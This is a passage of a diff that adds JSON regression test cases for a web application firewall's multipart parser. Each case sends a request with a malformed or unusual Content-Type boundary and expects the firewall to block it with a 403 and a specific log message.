\"!@eq 1\" \"phase:2,deny,id:500096\"", + "SecRule REQBODY_PROCESSOR_ERROR \"@eq 1\" \"chain,phase:2,deny,id:500097\"" + ] + }, + { + "enabled": 1, + "version_min": 300000, + "title": "multipart parser (invalid C-T boundary separator - comma)", + "client": { + "ip": "200.249.12.31", + "port": 123 + }, + "server": { + "ip": "200.249.12.31", + "port": 80 + }, + "request": { + "headers": { + "Host": "localhost", + "User-Agent": "curl/7.38.0", + "Accept": "*/*", + "Content-Length": "266", + "Content-Type": "multipart/form-data, boundary=0000", + "Expect": "100-continue" + }, + "uri": "/", + "method": "POST", + "body": [ + "--0000\r", + "Content-Disposition: form-data; name=\"name\"\r", + "\r", + "Brian Rectanus\r", + "--0000\r", + "Content-Disposition: form-data; name=\"email\"\r", + "\r", + "brian.rectanus@breach.com\r", + "--0000\r", + "Content-Disposition: form-data; name=\"image\"; filename=\"image.jpg\"\r", + "Content-Type: image/jpeg\r", + "\r", + "BINARYDATA\r", + "--0000--\r" + ] + }, + "response": { + "headers": { + "Date": "Mon, 13 Jul 2015 20:02:41 GMT", + "Last-Modified": "Sun, 26 Oct 2014 22:33:37 GMT", + "Content-Type": "text/html", + "Content-Length": "8" + }, + "body": [ + "no need." + ] + }, + "expected": { + "debug_log": "Invalid boundary in C-T \\(malformed\\)", + "http_code": 403 + }, + "rules": [ + "SecRuleEngine On", + "SecRule MULTIPART_STRICT_ERROR \"!@eq 1\" \"phase:2,deny,id:500095\"", + "SecRule MULTIPART_UNMATCHED_BOUNDARY \"!@eq 1\" \"phase:2,deny,id:500096\"", + "SecRule REQBODY_PROCESSOR_ERROR \"@eq 1\" \"chain,phase:2,deny,id:500097\"" + ] + }, + { + "enabled": 1, + "version_min": 300000, + "title": "multipart parser (invalid C-T boundary separator - space)", + "client": { + "ip": "200.249.12.31", + "port": 123 + }, + "server": { + "ip": "200.249.12.31", + "port": 80 + }, + "request": { + "headers": { + "Host": "localhost", + "User-Agent": "curl/7.38.0", + "Accept": "*/*", + "Content-Length": "266", + "Content-Type": "multipart/form-data boundary=0000", + "Expect": "100-continue" + }, + "uri": "/", + "method": "POST", + "body": [ + "--0000\r", + "Content-Disposition: form-data; name=\"name\"\r", + "\r", + "Brian Rectanus\r", + "--0000\r", + "Content-Disposition: form-data; name=\"email\"\r", + "\r", + "brian.rectanus@breach.com\r", + "--0000\r", + "Content-Disposition: form-data; name=\"image\"; filename=\"image.jpg\"\r", + "Content-Type: image/jpeg\r", + "\r", + "BINARYDATA\r", + "--0000--\r" + ] + }, + "response": { + "headers": { + "Date": "Mon, 13 Jul 2015 20:02:41 GMT", + "Last-Modified": "Sun, 26 Oct 2014 22:33:37 GMT", + "Content-Type": "text/html", + "Content-Length": "8" + }, + "body": [ + "no need." + ] + }, + "expected": { + "http_code": 403 + }, + "rules": [ + "SecRuleEngine On", + "SecRule MULTIPART_STRICT_ERROR \"!@eq 1\" \"phase:2,deny,id:500095\"", + "SecRule MULTIPART_UNMATCHED_BOUNDARY \"!@eq 1\" \"phase:2,deny,id:500096\"", + "SecRule REQBODY_PROCESSOR_ERROR \"@eq 1\" \"chain,phase:2,deny,id:500097\"" + ] + }, + { + "enabled": 1, + "version_min": 300000, + "title": "multipart parser (invalid C-T boundary parameter name - case)", + "client": { + "ip": "200.249.12.31", + "port": 123 + }, + "server": { + "ip": "200.249.12.31", + "port": 80 + }, + "request": { + "headers": { + "Host": "localhost", + "User-Agent": "curl/7.38.0", + "Accept": "*/*", + "Content-Length": "266", + "Content-Type": "multipart/form-data; bOundAry=0000", + "Expect": "100-continue" + }, + "uri": "/", + "method": "POST", + "body": [ + "--0000\r", + "Content-Disposition: form-data; name=\"name\"\r", + "\r", + "Brian Rectanus\r", + "--0000\r", + "Content-Disposition: form-data; name=\"email\"\r", + "\r", + "brian.rectanus@breach.com\r", + "--0000\r", + "Content-Disposition: form-data; name=\"image\"; filename=\"image.jpg\"\r", + "Content-Type: image/jpeg\r", + "\r", + "BINARYDATA\r", + "--0000--\r" + ] + }, + "response": { + "headers": { + "Date": "Mon, 13 Jul 2015 20:02:41 GMT", + "Last-Modified": "Sun, 26 Oct 2014 22:33:37 GMT", + "Content-Type": "text/html", + "Content-Length": "8" + }, + "body": [ + "no need." + ] + }, + "expected": { + "debug_log": "Invalid boundary in C-T \\(case sensitivity\\)", + "http_code": 403 + }, + "rules": [ + "SecRuleEngine On", + "SecRule MULTIPART_STRICT_ERROR \"!@eq 1\" \"phase:2,deny,id:500095\"", + "SecRule MULTIPART_UNMATCHED_BOUNDARY \"!@eq 1\" \"phase:2,deny,id:500096\"", + "SecRule REQBODY_PROCESSOR_ERROR \"@eq 1\" \"chain,phase:2,deny,id:500097\"" + ] + }, + { + "enabled": 1, + "version_min": 300000, + "title": "multipart parser (invalid C-T boundary parameter name - trailing chars)", + "client": { + "ip": "200.249.12.31", + "port": 123 + }, + "server": { + "ip": "200.249.12.31", + "port": 80 + }, + "request": { + "headers": { + "Host": "localhost", + "User-Agent": "curl/7.38.0", + "Accept": "*/*", + "Content-Length": "266", + "Content-Type": "multipart/form-data; boundary123=0000", + "Expect": "100-continue" + }, + "uri": "/", + "method": "POST", + "body": [ + "--0000\r", + "Content-Disposition: form-data; name=\"name\"\r", + "\r", + "Brian Rectanus\r", + "--0000\r", + "Content-Disposition: form-data; name=\"email\"\r", + "\r", + "brian.rectanus@breach.com\r", + "--0000\r", + "Content-Disposition: form-data; name=\"image\"; filename=\"image.jpg\"\r", + "Content-Type: image/jpeg\r", + "\r", + "BINARYDATA\r", + "--0000--\r" + ] + }, + "response": { + "headers": { + "Date": "Mon, 13 Jul 2015 20:02:41 GMT", + "Last-Modified": "Sun, 26 Oct 2014 22:33:37 GMT", + "Content-Type": "text/html", + "Content-Length": "8" + }, + "body": [ + "no need." + ] + }, + "expected": { + "debug_log": "Invalid boundary in C-T \\(parameter name\\)", + "http_code": 403 + }, + "rules": [ + "SecRuleEngine On", + "SecRule MULTIPART_STRICT_ERROR \"!@eq 1\" \"phase:2,deny,id:500095\"", + "SecRule MULTIPART_UNMATCHED_BOUNDARY \"!@eq 1\" \"phase:2,deny,id:500096\"", + "SecRule REQBODY_PROCESSOR_ERROR \"@eq 1\" \"chain,phase:2,deny,id:500097\"" + ] + }, + { + "enabled": 1, + "version_min": 300000, + "title": "multipart parser (multiple C-T boundaries - first quoted)", + "client": { + "ip": "200.249.12.31", + "port": 123 + }, + "server": { + "ip": "200.249.12.31", + "port": 80 + }, + "request": { + "headers": { + "Host": "localhost", + "User-Agent": "curl/7.38.0", + "Accept": "*/*", + "Content-Length": "266", + "Content-Type": "multipart/form-data; boundary=\"0000\"; boundary=1111", + "Expect": "100-continue" + }, + "uri": "/", + "method": "POST", + "body": [ + "--0000\r", + "Content-Disposition: form-data; name=\"name\"\r", + "\r", + "Brian Rectanus\r", + "--0000\r", + "Content-Disposition: form-data; name=\"email\"\r", + "\r", + "brian.rectanus@breach.com\r", + "--0000\r", + "Content-Disposition: form-data; name=\"image\"; filename=\"image.jpg\"\r", + "Content-Type: image/jpeg\r", + "\r", + "BINARYDATA\r", + "--0000--\r" + ] + }, + "response": { + "headers": { + "Date": "Mon, 13 Jul 2015 20:02:41 GMT", + "Last-Modified": "Sun, 26 Oct 2014 22:33:37 GMT", + "Content-Type": "text/html", + "Content-Length": "8" + }, + "body": [ + "no need." + ] + }, + "expected": { + "debug_log": "Multiple boundary parameters in C-T", + "http_code": 403 + }, + "rules": [ + "SecRuleEngine On", + "SecRule MULTIPART_STRICT_ERROR \"!@eq 1\" \"phase:2,deny,id:500095\"", + "SecRule MULTIPART_UNMATCHED_BOUNDARY \"!@eq 1\" \"phase:2,deny,id:500096\"", + "SecRule REQBODY_PROCESSOR_ERROR \"@eq 1\" \"chain,phase:2,deny,id:500097\"" + ] + }, + { + "enabled": 1, + "version_min": 300000, + "title": "multipart parser (multiple C-T boundaries - comma separated)", + "client": { + "ip": "200.249.12.31", + "port": 123 + }, + "server": { + "ip": "200.249.12.31", + "port": 80 + }, + "request": { + "headers": { + "Host": "localhost", + "User-Agent": "curl/7.38.0", + "Accept": "*/*", + "Content-Length": "266", + "Content-Type": "multipart/form-data; boundary=0000, boundary=1111", + "Expect": "100-continue" + }, + "uri": "/", + "method": "POST", + "body": [ + "--0000\r", + "Content-Disposition: form-data; name=\"name\"\r", + "\r", + "Brian Rectanus\r", + "--0000\r", + "Content-Disposition: form-data; name=\"email\"\r", + "\r", + "brian.rectanus@breach.com\r", + "--0000\r", + "Content-Disposition: form-data; name=\"image\"; filename=\"image.jpg\"\r", + "Content-Type: image/jpeg\r", + "\r", + "BINARYDATA\r", + "--0000--\r" + ] + }, + "response": { + "headers": { + "Date": "Mon, 13 Jul 2015 20:02:41 GMT", + "Last-Modified": "Sun, 26 Oct 2014 22:33:37 GMT", + "Content-Type": "text/html", + "Content-Length": "8" + }, + "body": [ + "no need." + ] + }, + "expected": { + "debug_log": "Multiple boundary parameters in C-T", + "http_code": 403 + }, + "rules": [ + "SecRuleEngine On", + "SecRule MULTIPART_STRICT_ERROR \"!@eq 1\" \"phase:2,deny,id:500095\"", + "SecRule MULTIPART_UNMATCHED_BOUNDARY \"!@eq 1\" \"phase:2,deny,id:500096\"", + "SecRule REQBODY_PROCESSOR_ERROR \"@eq 1\" \"chain,phase:2,deny,id:500097\"" + ] + }, + { + "enabled": 1, + "version_min": 300000, + "title": "multipart parser (boundary whitespace in C-T - after name)", + "client": { + "ip": "200.249.12.31", + "port": 123 + }, + "server": { + "ip": "200.249.12.31", + "port": 80 + }, + "request": { + "headers": { + "Host": "localhost", + "User-Agent": "curl/7.38.0", + "Accept": "*/*", + "Content-Length": "266", + "Content-Type": "multipart/form-data; boundary =0000", + "Expect": "100-continue" + }, + "uri": "/", + "method": "POST", + "body": [ + "--0000\r", + "Content-Disposition: form-data; name=\"name\"\r", + "\r", + "Brian Rectanus\r", + "--0000\r", + "Content-Disposition: form-data; name=\"email\"\r", + "\r", + "brian.rectanus@breach.com\r", + "--0000\r", + "Content-Disposition: form-data; name=\"image\"; filename=\"image.jpg\"\r", + "Content-Type: image/jpeg\r", + "\r", + "BINARYDATA\r", + "--0000--\r" + ] + }, + "response": { + "headers": { + "Date": "Mon, 13 Jul 2015 20:02:41 GMT", + "Last-Modified": "Sun, 26 Oct 2014 22:33:37 GMT", + "Content-Type": "text/html", + "Content-Length": "8" + }, + "body": [ + "no need." + ] + }, + "expected": { + "http_code": 403 + }, + "rules": [ + "SecRuleEngine On", + "SecRule MULTIPART_STRICT_ERROR \"!@eq 1\" \"phase:2,deny,id:500095\"", + "SecRule MULTIPART_UNMATCHED_BOUNDARY \"!@eq 1\" \"phase:2,deny,id:500096\"", + "SecRule REQBODY_PROCESSOR_ERROR \"@eq 1\" \"chain,phase:2,deny,id:500097\"" + ] + }, + { + "enabled": 1, + "version_min": 300000, + "title": "multipart parser (boundary whitespace in C-T - before value)", + "client": { + "ip": "200.249.12.31", + "port": 123 + }, + "server": { + "ip": "200.249.12.31", + "port": 80 + }, + "request": { + "headers": { + "Host": "localhost", + "User-Agent": "curl/7.38.0", + "Accept": "*/*", + "Content-Length": "266", + "Content-Type": "multipart/form-data; boundary= 0000", + "Expect": "100-continue" + }, + "uri": "/", + "method": "POST", + "body": [ + "--0000\r", + "Content-Disposition: form-data; name=\"name\"\r", + "\r", + "Brian Rectanus\r", + "--0000\r", + "Content-Disposition: form-data; name=\"email\"\r", + "\r", + "brian.rectanus@breach.com\r", + "--0000\r", + "Content-Disposition: form-data; name=\"image\"; filename=\"image.jpg\"\r", + "Content-Type: image/jpeg\r", + "\r", + "BINARYDATA\r", + "--0000--\r" + ] + }, + "response": { + "headers": { + "Date": "Mon, 13 Jul 2015 20:02:41 GMT", + "Last-Modified": "Sun, 26 Oct 2014 22:33:37 GMT", + "Content-Type": "text/html", + "Content-Length": "8" + }, + "body": [ + "no need." + ] + }, + "expected": { + "debug_log": "boundary whitespace in C-T header", + "error_log": "msg \"Multipart request body failed strict validation:PE 1,BQ 0,BW 1,DB 0,DA 0,HF 0,LF 0,SM 0,IQ 0,IP 0,IH 0,FL \"", + "http_code": 403 + }, + "rules": [ + "SecRuleEngine On", + "SecRule MULTIPART_STRICT_ERROR \"@eq 1\" \"phase:2,deny,id:500095,msg:'Multipart request body failed strict validation:PE %{REQBODY_PROCESSOR_ERROR},BQ %{MULTIPART_BOUNDARY_QUOTED},BW %{MULTIPART_BOUNDARY_WHITESPACE},DB %{MULTIPART_DATA_BEFORE},DA %{MULTIPART_DATA_AFTER},HF %{MULTIPART_HEADER_FOLDING},LF %{MULTIPART_LF_LINE},SM %{MULTIPART_MISSING_SEMICOLON},IQ %{MULTIPART_INVALID_QUOTING},IP %{MULTIPART_INVALID_PART},IH %{MULTIPART_INVALID_HEADER_FOLDING},FL %{MULTIPART_FILE_LIMIT_EXCEEDED}'\"", + "SecRule MULTIPART_UNMATCHED_BOUNDARY \"@eq 1\" \"phase:2,deny,id:500096\"", + "SecRule REQBODY_PROCESSOR_ERROR \"@eq 1\" \"chain,phase:2,deny,id:500097\"" + ] + }, + { + "enabled": 1, + "version_min": 300000, + "title": "multipart parser (boundary whitespace in C-T - after value) - apache removes the whitespace, not the case for us... TODO", + "client": { + "ip": "200.249.12.31", + "port": 123 + }, + "server": { + "ip": "200.249.12.31", + "port": 80 + }, + "request": { + "headers": { + "Host": "localhost", + "User-Agent": "curl/7.38.0", + "Accept": "*/*", + "Content-Length": "266", + "Content-Type": "multipart/form-data; boundary=0000 ", + "Expect": "100-continue" + }, + "uri": "/", + "method": "POST", + "body": [ + "--0000\r", + "Content-Disposition: form-data; name=\"name\"\r", + "\r", + "Brian Rectanus\r", + "--0000\r", + "Content-Disposition: form-data; name=\"email\"\r", + "\r", + "brian.rectanus@breach.com\r", + "--0000\r", + "Content-Disposition: form-data; name=\"image\"; filename=\"image.jpg\"\r", + "Content-Type: image/jpeg\r", + "\r", + "BINARYDATA\r", + "--0000--\r" + ] + }, + "response": { + "headers": { + "Date": "Mon, 13 Jul 2015 20:02:41 GMT", + "Last-Modified": "Sun, 26 Oct 2014 22:33:37 GMT", + "Content-Type": "text/html", + "Content-Length": "8" + }, + "body": [ + "no need." + ] + }, + "expected": { + "error_log": "msg \"Multipart request body failed strict validation:PE 1,BQ 0,BW 0,DB 0,DA 0,HF 0,LF 0,SM 0,IQ 0,IP 0,IH 0,FL \"", + "http_code": 403 + }, + "rules": [ + "SecRuleEngine On", + "SecRule MULTIPART_STRICT_ERROR \"@eq 1\" \"phase:2,deny,id:500095,msg:'Multipart request body failed strict validation:PE %{REQBODY_PROCESSOR_ERROR},BQ %{MULTIPART_BOUNDARY_QUOTED},BW %{MULTIPART_BOUNDARY_WHITESPACE},DB %{MULTIPART_DATA_BEFORE},DA %{MULTIPART_DATA_AFTER},HF %{MULTIPART_HEADER_FOLDING},LF %{MULTIPART_LF_LINE},SM %{MULTIPART_MISSING_SEMICOLON},IQ %{MULTIPART_INVALID_QUOTING},IP %{MULTIPART_INVALID_PART},IH %{MULTIPART_INVALID_HEADER_FOLDING},FL %{MULTIPART_FILE_LIMIT_EXCEEDED}'\"", + "SecRule MULTIPART_UNMATCHED_BOUNDARY \"@eq 1\" \"phase:2,deny,id:500096\"", + "SecRule REQBODY_PROCESSOR_ERROR \"@eq 1\" \"chain,phase:2,deny,id:500097\"" + ] + }, + { + "enabled": 1, + "version_min": 300000, + "title": "multipart parser (boundary special char - trailing whitespace+token)", + "client": { + "ip": "200.249.12.31", + "port": 123 + }, + "server": { + "ip": "200.249.12.31", + "port": 80 + }, + "request": { + "headers": { + "Host": "localhost", + "User-Agent": "curl/7.38.0", + "Accept": "*/*", + "Content-Length": "280", + "Content-Type": "multipart/form-data;boundary=0000 1111", + "Expect": "100-continue" + }, + "uri": "/", + "method": "POST", + "body": [ + "--0000\r\n", + "Content-Disposition: form-data; name=\"name\"\r\n", + "\r\n", + "Brian Rectanus\r\n", + "--0000\r\n", + "Content-Disposition: form-data; name=\"email\"\r\n", + "\r\n", + "brian.rectanus@breach.com\r\n", + "--0000\r\n", + "Content-Disposition: form-data; name=\"image\"; filename=\"image.jpg\"\r\n", + "Content-Type: image/jpeg\r\n", + "\r\n", + "BINARYDATA\r\n", + "--0000--\r\n" + ] + }, + "response": { + "headers": { + "Date": "Mon, 13 Jul 2015 20:02:41 GMT", + "Last-Modified": "Sun, 26 Oct 2014 22:33:37 GMT", + "Content-Type": "text/html", + "Content-Length": "8" + }, + "body": [ + "no need." + ] + }, + "expected": { + "debug_log": "No boundaries found in payload", + "error_log": "msg \"Multipart request body failed strict validation:PE 1,BQ 0,BW 0,DB 1,DA 0,HF 0,LF 0,SM 0,IQ 0,IP 0,IH 0,FL \"", + "http_code": 403 + }, + "rules": [ + "SecRuleEngine On", + "SecRule MULTIPART_STRICT_ERROR \"@eq 1\" \"phase:2,deny,id:500095,msg:'Multipart request body failed strict validation:PE %{REQBODY_PROCESSOR_ERROR},BQ %{MULTIPART_BOUNDARY_QUOTED},BW %{MULTIPART_BOUNDARY_WHITESPACE},DB %{MULTIPART_DATA_BEFORE},DA %{MULTIPART_DATA_AFTER},HF %{MULTIPART_HEADER_FOLDING},LF %{MULTIPART_LF_LINE},SM %{MULTIPART_MISSING_SEMICOLON},IQ %{MULTIPART_INVALID_QUOTING},IP %{MULTIPART_INVALID_PART},IH %{MULTIPART_INVALID_HEADER_FOLDING},FL %{MULTIPART_FILE_LIMIT_EXCEEDED}'\"", + "SecRule MULTIPART_UNMATCHED_BOUNDARY \"@eq 1\" \"phase:2,deny,id:500096\"", + "SecRule REQBODY_PROCESSOR_ERROR \"@eq 1\" \"chain,phase:2,deny,id:500097\"" + ] + }, + { + "enabled": 1, + "version_min": 300000, + "title": "multipart parser (boundary special char - trailing exclamation+token)", + "client": { + "ip": "200.249.12.31", + "port": 123 + }, + "server": { + "ip": "200.249.12.31", + "port": 80 + }, + "request": { + "headers": { + "Host": "localhost", + "User-Agent": "curl/7.38.0", + "Accept": "*/*", + "Content-Length": "266", + "Content-Type": "multipart/form-data;boundary=0000!1111", + "Expect": "100-continue" + }, + "uri": "/", + "method": "POST", + "body": [ + "--0000\r", + "Content-Disposition: form-data; name=\"name\"\r", + "\r", + "Brian Rectanus\r", + "--0000\r", + "Content-Disposition: form-data; name=\"email\"\r", + "\r", + "brian.rectanus@breach.com\r", + "--0000\r", + "Content-Disposition: form-data; name=\"image\"; filename=\"image.jpg\"\r", + "Content-Type: image/jpeg\r", + "\r", + "BINARYDATA\r", + "--0000--\r" + ] + }, + "response": { + "headers": { + "Date": "Mon, 13 Jul 2015 20:02:41 GMT", + "Last-Modified": "Sun, 26 Oct 2014 22:33:37 GMT", + "Content-Type": "text/html", + "Content-Length": "8" + }, + "body": [ + "no need." + ] + }, + "expected": { + "debug_log": "Invalid boundary in C-T \\(characters\\)", + "error_log": "msg \"Multipart request body failed strict validation:PE 1,BQ 0,BW 0,DB 0,DA 0,HF 0,LF 0,SM 0,IQ 0,IP 0,IH 0,FL \"", + "http_code": 403 + }, + "rules": [ + "SecRuleEngine On", + "SecRule MULTIPART_STRICT_ERROR \"@eq 1\" \"phase:2,deny,id:500095,msg:'Multipart request body failed strict validation:PE %{REQBODY_PROCESSOR_ERROR},BQ %{MULTIPART_BOUNDARY_QUOTED},BW %{MULTIPART_BOUNDARY_WHITESPACE},DB %{MULTIPART_DATA_BEFORE},DA %{MULTIPART_DATA_AFTER},HF %{MULTIPART_HEADER_FOLDING},LF %{MULTIPART_LF_LINE},SM %{MULTIPART_MISSING_SEMICOLON},IQ %{MULTIPART_INVALID_QUOTING},IP %{MULTIPART_INVALID_PART},IH %{MULTIPART_INVALID_HEADER_FOLDING},FL %{MULTIPART_FILE_LIMIT_EXCEEDED}'\"", + "SecRule MULTIPART_UNMATCHED_BOUNDARY \"@eq 1\" \"phase:2,deny,id:500096\"", + "SecRule REQBODY_PROCESSOR_ERROR \"@eq 1\" \"chain,phase:2,deny,id:500097\"" + ] + }, + { + "enabled": 1, + "version_min": 300000, + "title": "multipart parser (quoted boundary - normal)", + "client": { + "ip": "200.249.12.31", + "port": 123 + }, + "server": { + "ip": "200.249.12.31", + "port": 80 + }, + "request": { + "headers": { + "Host": "localhost", + "User-Agent": "curl/7.38.0", + "Accept": "*/*", + "Content-Length": "266", + "Content-Type": "multipart/form-data;boundary=\"0000\"", + "Expect": "100-continue" + }, + "uri": "/", + "method": "POST", + "body": [ + "--0000\r", + "Content-Disposition: form-data; name=\"name\"\r", + "\r", + "Brian Rectanus\r", + "--0000\r", + "Content-Disposition: form-data; name=\"email\"\r", + "\r", + "brian.rectanus@breach.com\r", + "--0000\r", + "Content-Disposition: form-data; name=\"image\"; filename=\"image.jpg\"\r", + "Content-Type: image/jpeg\r", + "\r", + "BINARYDATA\r", + "--0000--\r" + ] + }, + "response": { + "headers": { + "Date": "Mon, 13 Jul 2015 20:02:41 GMT", + "Last-Modified": "Sun, 26 Oct 2014 22:33:37 GMT", + "Content-Type": "text/html", + "Content-Length": "8" + }, + "body": [ + "no need." + ] + }, + "expected": { + "debug_log": "boundary was quoted", + "error_log": "msg \"Multipart request body failed strict validation:PE 1,BQ 1,BW 0,DB 0,DA 0,HF 0,LF 0,SM 0,IQ 0,IP 0,IH 0,FL \"", + "http_code": 403 + }, + "rules": [ + "SecRuleEngine On", + "SecRule MULTIPART_STRICT_ERROR \"@eq 1\" \"phase:2,deny,id:500095,msg:'Multipart request body failed strict validation:PE %{REQBODY_PROCESSOR_ERROR},BQ %{MULTIPART_BOUNDARY_QUOTED},BW %{MULTIPART_BOUNDARY_WHITESPACE},DB %{MULTIPART_DATA_BEFORE},DA %{MULTIPART_DATA_AFTER},HF %{MULTIPART_HEADER_FOLDING},LF %{MULTIPART_LF_LINE},SM %{MULTIPART_MISSING_SEMICOLON},IQ %{MULTIPART_INVALID_QUOTING},IP %{MULTIPART_INVALID_PART},IH %{MULTIPART_INVALID_HEADER_FOLDING},FL %{MULTIPART_FILE_LIMIT_EXCEEDED}'\"", + "SecRule MULTIPART_UNMATCHED_BOUNDARY \"@eq 1\" \"phase:2,deny,id:500096\"", + "SecRule REQBODY_PROCESSOR_ERROR \"@eq 1\" \"chain,phase:2,deny,id:500097\"" + ] + }, + { + "enabled": 1, + "version_min": 300000, + "title": "multipart parser (quoted boundary value - whitespace before)", + "client": { + "ip": "200.249.12.31", + "port": 123 + }, + "server": { + "ip": "200.249.12.31", + "port": 80 + }, + "request": { + "headers": { + "Host": "localhost", + "User-Agent": "curl/7.38.0", + "Accept": "*/*", + "Content-Length": "266", + "Content-Type": "multipart/form-data;boundary=\" 0000\"", + "Expect": "100-continue" + }, + "uri": "/", + "method": "POST", + "body": [ + "--0000\r", + "Content-Disposition: form-data; name=\"name\"\r", + "\r", + "Brian Rectanus\r", + "--0000\r", + "Content-Disposition: form-data; name=\"email\"\r", + "\r", + "brian.rectanus@breach.com\r", + "--0000\r", + "Content-Disposition: form-data; name=\"image\"; filename=\"image.jpg\"\r", + "Content-Type: image/jpeg\r", + "\r", + "BINARYDATA\r", + "--0000--\r" + ] + }, + "response": { + "headers": { + "Date": "Mon, 13 Jul 2015 20:02:41 GMT", + "Last-Modified": "Sun, 26 Oct 2014 22:33:37 GMT", + "Content-Type": "text/html", + "Content-Length": "8" + }, + "body": [ + "no need." + ] + }, + "expected": { + "debug_log": "boundary was quoted.*No boundaries found in payload", + "error_log": "msg \"Multipart request body failed strict validation:PE 1,BQ 1,BW 0,DB 0,DA 0,HF 0,LF 0,SM 0,IQ 0,IP 0,IH 0,FL \"", + "http_code": 403 + }, + "rules": [ + "SecRuleEngine On", + "SecRule MULTIPART_STRICT_ERROR \"@eq 1\" \"phase:2,deny,id:500095,msg:'Multipart request body failed strict validation:PE %{REQBODY_PROCESSOR_ERROR},BQ %{MULTIPART_BOUNDARY_QUOTED},BW %{MULTIPART_BOUNDARY_WHITESPACE},DB %{MULTIPART_DATA_BEFORE},DA %{MULTIPART_DATA_AFTER},HF %{MULTIPART_HEADER_FOLDING},LF %{MULTIPART_LF_LINE},SM %{MULTIPART_MISSING_SEMICOLON},IQ %{MULTIPART_INVALID_QUOTING},IP %{MULTIPART_INVALID_PART},IH %{MULTIPART_INVALID_HEADER_FOLDING},FL %{MULTIPART_FILE_LIMIT_EXCEEDED}'\"", + "SecRule MULTIPART_UNMATCHED_BOUNDARY \"@eq 1\" \"phase:2,deny,id:500096\"", + "SecRule REQBODY_PROCESSOR_ERROR \"@eq 1\" \"chain,phase:2,deny,id:500097\"" + ] + }, + { + "enabled": 1, + "version_min": 300000, + "title": "multipart parser (quoted boundary value - whitespace after)", + "client": { + "ip": "200.249.12.31", + "port": 123 + }, + "server": { + "ip": "200.249.12.31", + "port": 80 + }, + "request": { + "headers": { + "Host": "localhost", + "User-Agent": "curl/7.38.0", + "Accept": "*/*", + "Content-Length": "266", + "Content-Type": "multipart/form-data;boundary=\"0000 \"", + "Expect": "100-continue" + }, + "uri": "/", + "method": "POST", + "body": [ + "--0000\r", + "Content-Disposition: form-data; name=\"name\"\r", + "\r", + "Brian Rectanus\r", + "--0000\r", + "Content-Disposition: form-data; name=\"email\"\r", + "\r", + "brian.rectanus@breach.com\r", + "--0000\r", + "Content-Disposition: form-data; name=\"image\"; filename=\"image.jpg\"\r", + "Content-Type: image/jpeg\r", + "\r", + "BINARYDATA\r", + "--0000--\r" + ] + }, + "response": { + "headers": { + "Date": "Mon, 13 Jul 2015 20:02:41 GMT", + "Last-Modified": "Sun, 26 Oct 2014 22:33:37 GMT", + "Content-Type": "text/html", + "Content-Length": "8" + }, + "body": [ + "no need." + ] + }, + "expected": { + "debug_log": "Invalid boundary in C-T \\(characters\\).*boundary was quoted.", + "error_log": "msg \"Multipart request body failed strict validation:PE 1,BQ 1,BW 0,DB 0,DA 0,HF 0,LF 0,SM 0,IQ 0,IP 0,IH 0,FL \"", + "http_code": 403 + }, + "rules": [ + "SecRuleEngine On", + "SecRule MULTIPART_STRICT_ERROR \"@eq 1\" \"phase:2,deny,id:500095,msg:'Multipart request body failed strict validation:PE %{REQBODY_PROCESSOR_ERROR},BQ %{MULTIPART_BOUNDARY_QUOTED},BW %{MULTIPART_BOUNDARY_WHITESPACE},DB %{MULTIPART_DATA_BEFORE},DA %{MULTIPART_DATA_AFTER},HF %{MULTIPART_HEADER_FOLDING},LF %{MULTIPART_LF_LINE},SM %{MULTIPART_MISSING_SEMICOLON},IQ %{MULTIPART_INVALID_QUOTING},IP %{MULTIPART_INVALID_PART},IH %{MULTIPART_INVALID_HEADER_FOLDING},FL %{MULTIPART_FILE_LIMIT_EXCEEDED}'\"", + "SecRule MULTIPART_UNMATCHED_BOUNDARY \"@eq 1\" \"phase:2,deny,id:500096\"", + "SecRule REQBODY_PROCESSOR_ERROR \"@eq 1\" \"chain,phase:2,deny,id:500097\"" + ] + }, + { + "enabled": 1, + "version_min": 300000, + "title": "multipart parser (quoted boundary value - whitespace after)", + "client": { + "ip": "200.249.12.31", + "port": 123 + }, + "server": { + "ip": "200.249.12.31", + "port": 80 + }, + "request": { + "headers": { + "Host": "localhost", + "User-Agent": "curl/7.38.0", + "Accept": "*/*", + "Content-Length": "266", + "Content-Type": "multipart/form-data;boundary=\"0000 \"", + "Expect": "100-continue" + }, + "uri": "/", + "method": "POST", + "body": [ + "--0000\r", + "Content-Disposition: form-data; name=\"name\"\r", + "\r", + "Brian Rectanus\r", + "--0000\r", + "Content-Disposition: form-data; name=\"email\"\r", + "\r", + "brian.rectanus@breach.com\r", + "--0000\r", + "Content-Disposition: form-data; name=\"image\"; filename=\"image.jpg\"\r", + "Content-Type: image/jpeg\r", + "\r", + "BINARYDATA\r", + "--0000--\r" + ] + }, + "response": { + "headers": { + "Date": "Mon, 13 Jul 2015 20:02:41 GMT", + "Last-Modified": "Sun, 26 Oct 2014 22:33:37 GMT", + "Content-Type": "text/html", + "Content-Length": "8" + }, + "body": [ + "no need." + ] + }, + "expected": { + "debug_log": "Invalid boundary in C-T \\(characters\\).*boundary was quoted.", + "error_log": "msg \"Multipart request body failed strict validation:PE 1,BQ 1,BW 0,DB 0,DA 0,HF 0,LF 0,SM 0,IQ 0,IP 0,IH 0,FL \"", + "http_code": 403 + }, + "rules": [ + "SecRuleEngine On", + "SecRule MULTIPART_STRICT_ERROR \"@eq 1\" \"phase:2,deny,id:500095,msg:'Multipart request body failed strict validation:PE %{REQBODY_PROCESSOR_ERROR},BQ %{MULTIPART_BOUNDARY_QUOTED},BW %{MULTIPART_BOUNDARY_WHITESPACE},DB %{MULTIPART_DATA_BEFORE},DA %{MULTIPART_DATA_AFTER},HF %{MULTIPART_HEADER_FOLDING},LF %{MULTIPART_LF_LINE},SM %{MULTIPART_MISSING_SEMICOLON},IQ %{MULTIPART_INVALID_QUOTING},IP %{MULTIPART_INVALID_PART},IH %{MULTIPART_INVALID_HEADER_FOLDING},FL %{MULTIPART_FILE_LIMIT_EXCEEDED}'\"", + "SecRule MULTIPART_UNMATCHED_BOUNDARY \"@eq 1\" \"phase:2,deny,id:500096\"", + "SecRule REQBODY_PROCESSOR_ERROR \"@eq 1\" \"chain,phase:2,deny,id:500097\"" + ] + }, + { + "enabled": 1, + "version_min": 300000, + "title": "multipart parser (quoted boundary value - whitespace between)", + "client": { + "ip": "200.249.12.31", + "port": 123 + }, + "server": { + "ip": "200.249.12.31", + "port": 80 + }, + "request": { + "headers": { + "Host": "localhost", + "User-Agent": "curl/7.38.0", + "Accept": "*/*", + "Content-Length": "266", + "Content-Type": "multipart/form-data;boundary=\"0000 1111\"", + "Expect": "100-continue" + }, + "uri": "/", + "method": "POST", + "body": [ + "--0000\r", + "Content-Disposition: form-data; 